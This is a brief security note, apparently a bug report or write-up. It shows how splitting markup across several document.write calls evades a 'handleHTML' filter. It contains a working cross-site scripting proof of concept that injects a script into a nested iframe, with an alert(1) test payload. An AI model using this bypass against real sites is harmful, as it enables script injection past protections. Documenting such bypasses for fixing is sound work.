Bypass with multiple doc.write calls

```
var f = document.createElement('iframe');
document.body.appendChild(f);
f.contentDocument.write('<iframe id="tst');
f.contentDocument.write('"></iframe><script>tst.contentWindow.alert(1);</script>');
```
What happens is that `document.write` calls are buffered, but `handleHTML` sees only one chunk at a time so it won't find anything inside the `template`.